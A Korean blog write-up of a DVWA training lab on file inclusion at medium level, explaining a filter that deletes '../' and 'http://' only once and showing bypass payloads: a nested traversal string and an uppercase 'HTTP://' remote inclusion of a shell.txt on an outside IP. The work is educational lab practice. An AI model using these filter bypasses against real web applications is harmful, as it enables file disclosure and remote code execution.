[ 실습 목표 ]
Read all five famous quotes from '../hackable/flags/fi.php' using only the file inclusion.
file inclusion 만 사용하여 '../hackable/flags/fi.php' 를 이용하여 다섯 가지 유명한 인용문을 모두 읽는 것이 목표다!
[ 실습 화면 ]
- 총 3개의 파일이 있다.
- 하나씩 다 눌러보자!
- 순서대로 계정의 정보와 IP 를 알려주는 파일, Nick Helm 의 대사, 접속한 계정의 정보를 포함한 IP, 경로, user-agent 의 정보를 알려준다.
- Low 레벨에서의 파일의 내용과 별반 다를 것이 없다.
- 소스코드를 분석해보자!
- 필터의 기능이 있다.
- http, https, ../ ..\\ 와 같은 주소 입력과 상위 디렉터리 이동 명령어를 필터링하는 것이다.
- 우리는 ../hackable/flags/fi.php 파일을 이용하여 5가지 인용문을 읽어야한다.
- 여기서 필터링의 허점에는 필터링을 해도 "", 즉 그저 빈 문자열로만 만들고 다른 필터링은 진행하지 않는다는 것이다.
- 만약 ..././..././hackable/flags/fi.php 를 입력하면 어떻게 될까?
..././..././hackable/flags/fi.php
../../hackable/flags/fi.php
- 빨간색 부분이 삭제되면서 최종적으로 아래와 같은 URL 이 요청된다.
- 해당 URL 을 직접 입력해보자!
- 이렇게 입력하니 내용이 출력되었다.
- 3번째 줄은 숨겨져있는데 개발자 도구를 통해 살펴보았다.
- 3번째 줄은 그냥 숨겨져있다고만 나오고 5번째 인용구는 주석처리 되어 있었다.
- 저번 Low 레벨과 마찬가지로 base64 로 인코딩하여 내용을 출력해보았다.
- 3번째 인용구도 얻어낼 수 있었다!
- 전자의 공격은 LFI 공격이었고 이제 RFI 공격도 시도해보자!
HTTP://117.16.17.186:9879/hacker/shell.txt
- 이번엔 http:// 우회를 HTTP:// 로 우회해서 외부 파일을 삽입했다.
- 외부 파일의 소스 코드는 아래와 같다.
- 해당 파일이 있는 경로로 이동한 후 내용을 출력하라는 명령어를 작성해놓았다.
- 해당 URL 을 넣어보니 아래와 같은 결과가 출력되었다.
- 이렇게 LFI, RFI 공격을 실습해보았다!
- 필터링을 한다 해도 그저 특정한 문자열만 적어놓고 빈 문자열로 치환하고 그친다면 이렇게 취약점이 발생할 수 있다.
'TeamH4C' 카테고리의 다른 글
[빡공팟 5기] W6 : DVWA 실습 - Insecure CAPTCHA (medium) (0) | 2022.10.30 |
---|---|
[빡공팟 5기] W6 : DVWA 실습 - File Upload (medium) (0) | 2022.10.30 |
[빡공팟 5기] W6 : DVWA 실습 - CSRF (medium) (0) | 2022.10.30 |
[빡공팟 5기] W6 : DVWA 실습 - Brute Force (Medium) (0) | 2022.10.30 |
[빡공팟 5기] W5 : DVWA 실습 Write_up 링크 모음 (0) | 2022.10.23 |